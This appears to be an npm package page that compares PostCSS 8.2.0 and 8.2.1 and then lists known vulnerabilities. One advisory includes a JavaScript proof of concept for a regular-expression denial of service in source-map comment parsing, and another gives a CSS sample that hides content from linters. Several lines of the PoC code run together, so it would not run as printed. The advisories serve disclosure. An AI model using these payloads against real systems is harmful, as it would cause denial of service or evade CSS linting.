PostCSS is a powerful tool designed for transforming styles using JavaScript plugins, providing developers with a flexible and customizable way to enhance their CSS workflow. Examining versions 8.2.1 and 8.2.0, both releases share the same core dependencies: nanoid for generating unique IDs, colorette for terminal styling, and source-map for debugging. The license remains MIT, ensuring permissive usage. The author and funding model also remain consistent across both versions, indicating stability in the project's management and support.
The key distinction between these versions lies in the dist object. Version 8.2.1 has a slightly larger unpacked size (203037 bytes) compared to version 8.2.0 (202405 bytes), suggesting minor additions or modifications within the codebase, optimizations or bug fixes. The release date also differs, with version 8.2.1 being released on December 9, 2020, subsequent to version 8.2.0 released on December 8, 2020.
For developers, this suggests a potential quick bug fix or minor improvement in version 8.2.1. While the core functionality and API likely remain similar, upgrading to 8.2.1 is recommended to benefit from any included patches or optimizations. Given the minimal changes indicated by the unpacked size difference, the upgrade should be straightforward with little no risk of breaking changes, which is typical of patch version updates.
All the vulnerabilities related to the version 8.2.1 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.